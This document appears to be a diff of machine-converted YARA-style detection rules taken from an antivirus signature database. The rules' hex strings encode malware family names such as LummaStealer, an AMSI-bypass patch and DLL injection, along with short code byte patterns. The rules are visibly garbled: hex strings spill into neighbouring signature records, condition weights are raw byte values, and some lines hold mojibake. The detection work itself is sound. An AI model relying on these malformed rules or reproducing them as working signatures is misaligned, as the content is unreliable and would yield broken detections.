"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36050,7 +37005,7 @@ rule _InfrastructureShared_3490{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3491{ +rule _InfrastructureShared_3583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36060,7 +37015,7 @@ rule _InfrastructureShared_3491{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3492{ +rule _InfrastructureShared_3584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36070,7 +37025,7 @@ rule _InfrastructureShared_3492{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3493{ +rule _InfrastructureShared_3585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36080,7 +37035,7 @@ rule _InfrastructureShared_3493{ ((#a_66_0 & 1)*28451) >=1 } -rule _InfrastructureShared_3494{ +rule _InfrastructureShared_3586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -36091,7 +37046,7 @@ rule _InfrastructureShared_3494{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27247) >=1 } -rule _InfrastructureShared_3495{ +rule _InfrastructureShared_3587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -36103,7 +37058,7 @@ rule _InfrastructureShared_3495{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*18467+(#a_6f_2 & 1)*27491) >=1 } -rule _InfrastructureShared_3496{ +rule _InfrastructureShared_3588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -36116,7 +37071,7 @@ rule _InfrastructureShared_3496{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*27491+(#a_07_2 & 1)*291+(#a_72_3 & 1)*0) >=1 } -rule _InfrastructureShared_3497{ +rule _InfrastructureShared_3589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -36126,17 +37081,27 @@ rule _InfrastructureShared_3497{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3498{ +rule _InfrastructureShared_3590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 65 64 79 2e 53 47 21 4d 54 42 00 02 00 23 01 07 07 72 57 00 00 70 6f 23 00 00 0a 72 57 00 00 70 28 24 00 00 0a 58 6f 25 00 00 0a 28 26 00 00 0a 13 07 00 00 78 4d 00 00 02 00 02 00 02 00 21 } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 65 64 79 2e 53 47 21 4d 54 42 00 02 00 23 01 07 07 72 57 00 00 70 6f 23 00 00 0a 72 57 00 00 70 28 24 00 00 0a 58 6f 25 00 00 0a 28 26 00 00 0a 13 07 00 00 78 4d 00 00 02 00 02 00 01 00 21 } //16675 condition: ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3499{ +rule _InfrastructureShared_3591{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 45 4a 46 4e 21 4d 54 42 00 02 00 18 02 8b d3 2b fb be 00 90 01 04 8a 0c 17 8d 52 01 88 4a ff 83 ee 01 75 90 00 00 00 78 4d 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -36147,7 +37112,7 @@ rule _InfrastructureShared_3499{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*16675) >=2 } -rule _InfrastructureShared_3500{ +rule _InfrastructureShared_3593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -36158,7 +37123,7 @@ rule _InfrastructureShared_3500{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*16675) >=2 } -rule _InfrastructureShared_3501{ +rule _InfrastructureShared_3594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -36169,7 +37134,7 @@ rule _InfrastructureShared_3501{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*16675) >=2 } -rule _InfrastructureShared_3502{ +rule _InfrastructureShared_3595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -36180,7 +37145,7 @@ rule _InfrastructureShared_3502{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*16675) >=2 } -rule _InfrastructureShared_3503{ +rule _InfrastructureShared_3596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -36191,18 +37156,29 @@ rule _InfrastructureShared_3503{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*18467) >=2 } -rule _InfrastructureShared_3504{ +rule _InfrastructureShared_3597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 44 69 73 61 62 6c 65 41 4d 53 49 2e 50 61 74 63 68 2e 42 00 01 00 1a 01 00 4c 8b dc 49 89 5b 08 49 89 6b 10 49 89 73 18 57 41 56 41 57 48 83 ec 70 00 01 00 08 01 00 31 c0 c3 00 00 00 00 00 00 78 4d 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4d } //18467 + $a_2f_1 = {72 6f 63 65 73 73 4c 61 75 6e 63 68 2e 50 52 21 41 4d 54 42 00 01 00 12 81 01 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 01 00 07 81 01 50 72 6f 63 65 73 73 00 00 78 4d 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4d } //18771 + condition: + ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*18771) >=2 + +} +rule _InfrastructureShared_3598{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 50 72 6f 63 65 73 73 4c 61 75 6e 63 68 2e 50 52 21 41 4d 54 42 00 01 00 12 81 01 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 01 00 07 81 01 50 72 6f 63 65 73 73 00 00 78 4d 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4d } //18467 $a_74_1 = {72 69 6e 67 54 6f 6f 6c 3a 57 69 6e 33 32 2f 51 41 53 70 79 2e 31 00 01 00 0f 01 5c 51 61 20 53 63 72 65 65 6e 20 53 70 79 5c 01 00 0a 01 77 6d 73 70 64 6d 76 6f 65 00 00 00 78 4d 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 79 65 53 74 79 65 5f 30 31 00 01 00 18 03 68 a1 } //28271 condition: ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28271) >=2 } -rule _InfrastructureShared_3505{ +rule _InfrastructureShared_3599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -36213,61 +37189,93 @@ rule _InfrastructureShared_3505{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28530) >=2 } -rule _InfrastructureShared_3506{ +rule _InfrastructureShared_3600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 79 65 53 74 79 65 5f 30 31 00 01 00 18 03 68 a1 dd 0d a6 e8 90 01 04 50 8d 85 90 01 04 68 04 01 00 00 50 e8 90 00 01 00 06 01 68 b5 81 f3 db e8 00 00 78 4d 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 } //18467 - $a_61_1 = {3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 41 4d 50 56 36 33 21 4d 54 42 00 01 00 06 80 01 48 66 6b 65 6f 63 01 00 0e 80 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 4d 00 00 02 00 02 00 02 00 21 23 53 4c 46 50 45 52 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 42 65 6c 6d 6f 6e 74 2e 56 21 64 68 61 00 01 } //28530 + $a_61_1 = {3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 41 4d 50 56 36 33 21 4d 54 42 00 01 00 06 80 01 48 66 6b 65 6f 63 01 00 0e 80 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 4d 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 44 4c 4c 49 6e 6a 65 63 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 0b 81 } //28530 condition: ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28530) >=2 } -rule _InfrastructureShared_3507{ +rule _InfrastructureShared_3601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 41 4d 50 56 36 33 21 4d 54 42 00 01 00 06 80 01 48 66 6b 65 6f 63 01 00 0e 80 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 4d 00 00 02 00 02 00 02 00 21 23 53 4c 46 50 45 52 } //18467 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 41 4d 50 56 36 33 21 4d 54 42 00 01 00 06 80 01 48 66 6b 65 6f 63 01 00 0e 80 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 4d 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 57 } //18467 + $a_32_1 = {44 4c 4c 49 6e 6a 65 63 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 0b 81 01 4c 6f 61 64 4c 69 62 72 61 72 79 01 00 0e 81 01 47 65 74 50 72 6f 63 41 64 } //28265 + condition: + ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*28265) >=2 + +} +rule _InfrastructureShared_3602{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 44 4c 4c 49 6e 6a 65 63 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 0b 81 01 4c 6f 61 64 4c 69 62 72 61 72 79 01 00 0e 81 01 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 78 4d 00 00 02 00 02 00 02 00 21 23 53 4c 46 50 45 52 } //18467 $a_70_1 = {6f 69 74 3a 57 69 6e 33 32 2f 42 65 6c 6d 6f 6e 74 2e 56 21 64 68 61 00 01 00 0b 01 45 78 70 4c 69 62 2e 64 6c 6c 00 01 00 0d 01 45 78 70 6c 6f 69 74 4e 65 74 49 6f 00 00 00 78 4d 00 00 02 00 02 00 02 00 21 23 57 69 6e 33 32 2f 42 61 6d 62 61 6c 61 6d 5f 48 53 54 52 31 00 01 00 13 80 01 42 41 4d 42 41 4c 41 4d 5f 47 45 54 49 4e 49 2e 50 48 50 01 00 11 80 01 } //17722 condition: ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*17722) >=2 } -rule _InfrastructureShared_3508{ +rule _InfrastructureShared_3603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {45 52 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 42 65 6c 6d 6f 6e 74 2e 56 21 64 68 61 00 01 00 0b 01 45 78 70 4c 69 62 2e 64 6c 6c 00 01 00 0d 01 45 78 70 6c 6f 69 74 4e 65 74 49 6f 00 00 00 78 4d 00 00 02 00 02 00 02 00 21 } //21283 - $a_6e_1 = {32 2f 42 61 6d 62 61 6c 61 6d 5f 48 53 54 52 31 00 01 00 13 80 01 42 41 4d 42 41 4c 41 4d 5f 47 45 54 49 4e 49 2e 50 48 50 01 00 11 80 01 42 41 4d 42 41 4c 41 4d 5f 49 4e 49 54 2e 50 48 50 00 00 78 4d 00 00 03 00 03 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 74 75 65 7a 79 } //22307 + $a_6e_1 = {32 2f 42 61 6d 62 61 6c 61 6d 5f 48 53 54 52 31 00 01 00 13 80 01 42 41 4d 42 41 4c 41 4d 5f 47 45 54 49 4e 49 2e 50 48 50 01 00 11 80 01 42 41 4d 42 41 4c 41 4d 5f 49 4e 49 54 2e 50 48 50 00 00 78 4d 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 6e 74 79 46 6f 72 6b 2e 42 } //22307 condition: ((#a_46_0 & 1)*21283+(#a_6e_1 & 1)*22307) >=2 } -rule _InfrastructureShared_3509{ +rule _InfrastructureShared_3604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_6e_0 = {32 2f 42 61 6d 62 61 6c 61 6d 5f 48 53 54 52 31 00 01 00 13 80 01 42 41 4d 42 41 4c 41 4d 5f 47 45 54 49 4e 49 2e 50 48 50 01 00 11 80 01 42 41 4d 42 41 4c 41 4d 5f 49 4e 49 54 2e 50 48 50 00 00 78 4d 00 00 03 00 03 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 74 75 65 7a 79 } //22307 - $a_64_1 = {61 00 03 00 1c 01 25 6c 6f 63 61 6c 61 70 70 64 61 74 61 25 5c 49 63 6f 6e 43 61 63 68 65 5f 2e 64 } //17198 + $a_6e_0 = {32 2f 42 61 6d 62 61 6c 61 6d 5f 48 53 54 52 31 00 01 00 13 80 01 42 41 4d 42 41 4c 41 4d 5f 47 45 54 49 4e 49 2e 50 48 50 01 00 11 80 01 42 41 4d 42 41 4c 41 4d 5f 49 4e 49 54 2e 50 48 50 00 00 78 4d 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 6e 74 79 46 6f 72 6b 2e 42 } //22307 + $a_61_1 = {03 00 1e 03 44 89 e3 44 30 e3 f6 d3 22 18 44 30 e3 48 89 f9 48 89 f2 e8 90 01 04 88 18 48 ff c6 90 00 00 00 78 4d 00 00 03 00 03 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 74 75 65 7a 79 2e 43 21 64 68 61 00 03 00 1c 01 25 6c 6f 63 61 6c 61 70 70 64 61 74 61 25 5c 49 63 } //25633 condition: - ((#a_6e_0 & 1)*22307+(#a_64_1 & 1)*17198) >=2 + ((#a_6e_0 & 1)*22307+(#a_61_1 & 1)*25633) >=2 } -rule _InfrastructureShared_3510{ +rule _InfrastructureShared_3605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " strings : - $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 74 75 65 7a 79 2e 43 21 64 68 61 00 03 00 1c 01 25 6c 6f 63 61 6c 61 70 70 64 61 74 61 25 5c 49 63 6f 6e 43 61 63 68 65 5f 2e 64 62 00 00 78 4d 00 00 03 00 03 00 03 00 21 } //16675 剅吺潲慪㩮楗㍮⼲瑓瑡敵祺䌮搡慨̀ᰀ━潬慣慬灰慤慴尥捉湯慃档彥搮b砀M̀̀̀℀ + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 6e 74 79 46 6f 72 6b 2e 42 21 64 68 61 00 03 00 1e 03 44 89 e3 44 30 e3 f6 d3 22 18 44 30 e3 48 89 f9 48 89 f2 e8 90 01 04 88 18 48 ff c6 90 00 00 00 78 4d 00 00 03 00 03 00 01 00 21 } //16675 condition: ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_3511{ +rule _InfrastructureShared_3606{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 74 75 65 7a 79 2e 43 21 64 68 61 00 03 00 1c 01 25 6c 6f 63 61 6c 61 70 70 64 61 74 61 25 5c 49 63 6f 6e 43 61 63 68 65 5f 2e 64 62 00 00 78 4d 00 00 03 00 03 00 02 00 21 } //16675 剅吺潲慪㩮楗㍮⼲瑓瑡敵祺䌮搡慨̀ᰀ━潬慣慬灰慤慴尥捉湯慃档彥搮b砀M̀̀Ȁ℀ + condition: + ((#a_46_0 & 1)*16675) >=3 + +} +rule _InfrastructureShared_3607{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 47 56 46 31 00 02 00 16 01 8b 04 24 83 c0 04 8b c0 48 8b 4c 24 20 0f b6 04 01 3d e0 00 00 00 01 00 10 01 8b 04 24 48 8b 4c 24 20 48 03 c8 48 8b c1 eb 07 00 00 78 4d 00 00 03 00 03 00 03 00 21 23 42 61 6e 6c 6f 61 } //18467 + $a_63_1 = {75 73 69 6f 6e 00 01 00 0b 01 5c 70 72 6f 66 69 6e 2e 69 6e 69 01 00 0b 01 5c 61 63 65 73 73 6f 2e 70 66 6e 01 00 10 01 50 72 6f 46 49 4e 20 43 6f 6d 65 72 63 69 61 6c 00 00 78 4d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 65 73 63 68 5f 42 36 34 5f 44 65 63 72 79 70 74 69 6f 6e 00 01 00 0a 01 8b 07 2b c2 33 c2 03 d3 aa e2 01 00 06 01 50 68 bb b5 e0 cd } //17764 + condition: + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*17764) >=3 + +} +rule _InfrastructureShared_3608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -36278,40 +37286,30 @@ rule _InfrastructureShared_3511{ ((#a_6e_0 & 1)*16931+(#a_6f_1 & 1)*29808) >=3 } -rule _InfrastructureShared_3512{ +rule _InfrastructureShared_3609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 65 73 63 68 5f 42 36 34 5f 44 65 63 72 79 70 74 69 6f 6e 00 01 00 0a 01 8b 07 2b c2 33 c2 03 d3 aa e2 01 00 06 01 50 68 bb b5 e0 cd 01 00 0d 01 8a d0 8a 14 16 0f ac d3 06 c1 e8 08 e2 00 00 78 4d 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 45 78 } //18467 - $a_69_1 = {3a 57 69 6e 33 32 2f 52 6f 6f 66 52 61 69 73 65 72 2e 47 21 64 68 61 00 02 00 0a 80 01 43 72 65 61 74 65 50 69 70 65 02 00 0d 03 40 23 00 00 90 02 1e 4e 70 41 74 90 00 00 00 78 4d 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 56 6f 6c 74 61 72 2e 4b 41 41 21 4d 54 42 00 02 00 0d 01 99 b9 } //27760 + $a_69_1 = {3a 57 69 6e 33 32 2f 52 6f 6f 66 52 61 69 73 65 72 2e 47 21 64 68 61 00 02 00 0a 80 01 43 72 65 61 74 65 50 69 70 65 02 00 0d 03 40 23 00 00 90 02 1e 4e 70 41 74 90 00 00 00 78 4d 00 00 04 00 04 00 06 00 21 23 41 4c 46 50 45 52 3a 4e 54 41 70 69 48 61 73 68 2e 41 00 01 00 04 01 c1 6d 68 ed 01 00 04 01 21 3b df 50 01 00 04 01 91 fd } //27760 + $a_00_2 = {04 } //22855 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27760) >=3 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27760+(#a_00_2 & 1)*22855) >=3 } -rule _InfrastructureShared_3513{ +rule _InfrastructureShared_3610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : - $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 52 6f 6f 66 52 61 69 73 65 72 2e 47 21 64 68 61 00 02 00 0a 80 01 43 72 65 61 74 65 50 69 70 65 02 00 0d 03 40 23 00 00 90 02 1e 4e 70 41 74 90 00 00 00 78 4d 00 00 04 00 04 00 02 00 21 } //16675 - $a_4c_1 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 56 6f 6c 74 61 72 2e 4b 41 41 21 4d 54 42 00 02 00 0d 01 99 b9 e8 03 00 00 f7 f9 8b f2 81 c6 c8 02 00 0b 01 99 b9 b0 04 00 00 f7 f9 83 c2 64 00 00 78 4d 00 00 } //21539 + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 52 6f 6f 66 52 61 69 73 65 72 2e 47 21 64 68 61 00 02 00 0a 80 01 43 72 65 61 74 65 50 69 70 65 02 00 0d 03 40 23 00 00 90 02 1e 4e 70 41 74 90 00 00 00 78 4d 00 00 04 00 04 00 06 00 21 } //16675 + $a_46_1 = {45 52 3a 4e 54 41 70 69 48 61 73 68 2e 41 00 01 00 04 01 c1 6d 68 ed 01 00 04 01 21 3b df 50 01 00 04 01 91 fd 47 59 01 00 04 01 7f 28 a0 69 01 00 04 01 2f 44 d4 9b 01 00 04 01 fd 42 72 b6 00 00 78 4d 00 00 05 00 05 00 01 00 21 } //16675 condition: - ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*21539) >=4 + ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*16675) >=4 } -rule _InfrastructureShared_3514{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 56 6f 6c 74 61 72 2e 4b 41 41 21 4d 54 42 00 02 00 0d 01 99 b9 e8 03 00 00 f7 f9 8b f2 81 c6 c8 02 00 0b 01 99 b9 b0 04 00 00 f7 f9 83 c2 64 00 00 78 4d 00 00 } //21539 - $a_00_1 = {06 00 21 23 } //4 - condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*4) >=4 - -} -rule _InfrastructureShared_3515{ +rule _InfrastructureShared_3611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -36321,12 +37319,12 @@ rule _InfrastructureShared_3515{ $a_46_2 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 2e 45 41 41 21 4d 54 42 00 05 00 1f 01 06 09 8f 17 00 00 01 25 47 7e 01 00 00 04 09 1a 58 91 5a d2 52 09 17 58 0d 09 06 8e 69 32 e1 00 00 78 4d 00 00 05 00 05 00 01 00 21 } //16675 $a_46_3 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 65 64 79 2e 45 41 21 4d 54 42 00 05 00 23 01 04 8d 41 00 00 01 0a 16 0b 16 0c 2b 12 02 03 08 58 91 0d 06 07 09 9c 08 17 58 0c 07 17 58 0b 08 04 32 ea 00 00 78 4d 00 00 05 00 05 00 01 00 21 } //16675 $a_4c_4 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 43 6c 6f 75 64 2e 43 42 41 41 21 4d 54 42 00 05 00 1c 03 07 08 18 5b 02 08 18 28 90 01 01 01 00 06 1f 10 28 90 01 01 01 00 06 9c 11 05 90 00 00 00 78 4d 00 00 } //21539 - $a_00_5 = {01 00 21 23 54 } //5 + $a_00_5 = {01 00 21 23 48 53 } //6 condition: - ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*16675+(#a_46_2 & 1)*16675+(#a_46_3 & 1)*16675+(#a_4c_4 & 1)*21539+(#a_00_5 & 1)*5) >=4 + ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*16675+(#a_46_2 & 1)*16675+(#a_46_3 & 1)*16675+(#a_4c_4 & 1)*21539+(#a_00_5 & 1)*6) >=4 } -rule _InfrastructureShared_3516{ +rule _InfrastructureShared_3612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -36336,7 +37334,7 @@ rule _InfrastructureShared_3516{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3517{ +rule _InfrastructureShared_3613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -36346,7 +37344,7 @@ rule _InfrastructureShared_3517{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3518{ +rule _InfrastructureShared_3614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -36356,7 +37354,7 @@ rule _InfrastructureShared_3518{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3519{ +rule _InfrastructureShared_3615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -36366,17 +37364,7 @@ rule _InfrastructureShared_3519{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_3520{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 2e 50 47 4b 21 4d 54 42 00 05 00 21 01 25 4a 09 61 54 09 17 62 09 1d 63 60 0d 00 11 09 17 58 13 09 11 09 06 8e 69 fe 04 13 0a 11 0a 2d d6 00 00 78 4d 00 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=5 - -} -rule _InfrastructureShared_3521{ +rule _InfrastructureShared_3616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 01 00 21 " @@ -36386,7 +37374,7 @@ rule _InfrastructureShared_3521{ ((#a_54_0 & 1)*18467) >=6 } -rule _InfrastructureShared_3522{ +rule _InfrastructureShared_3617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 01 00 21 " @@ -36396,7 +37384,7 @@ rule _InfrastructureShared_3522{ ((#a_4c_0 & 1)*21539) >=6 } -rule _InfrastructureShared_3523{ +rule _InfrastructureShared_3618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -36406,7 +37394,7 @@ rule _InfrastructureShared_3523{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3524{ +rule _InfrastructureShared_3619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -36418,7 +37406,7 @@ rule _InfrastructureShared_3524{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*27491+(#a_46_2 & 1)*25441) >=11 } -rule _InfrastructureShared_3525{ +rule _InfrastructureShared_3620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 02 00 21 " @@ -36429,7 +37417,7 @@ rule _InfrastructureShared_3525{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*30) >=21 } -rule _InfrastructureShared_3526{ +rule _InfrastructureShared_3621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 04 00 21 " @@ -36442,7 +37430,7 @@ rule _InfrastructureShared_3526{ ((#a_6f_0 & 1)*21539+(#a_7c_1 & 1)*260+(#a_72_2 & 1)*28516+(#a_00_3 & 1)*114) >=30 } -rule _InfrastructureShared_3527{ +rule _InfrastructureShared_3622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 05 00 21 " @@ -36456,7 +37444,7 @@ rule _InfrastructureShared_3527{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*21562+(#a_65_2 & 1)*29537+(#a_48_3 & 1)*17996+(#a_6c_4 & 1)*25646) >=31 } -rule _InfrastructureShared_3528{ +rule _InfrastructureShared_3623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -36466,7 +37454,7 @@ rule _InfrastructureShared_3528{ ((#a_46_0 & 1)*16675) 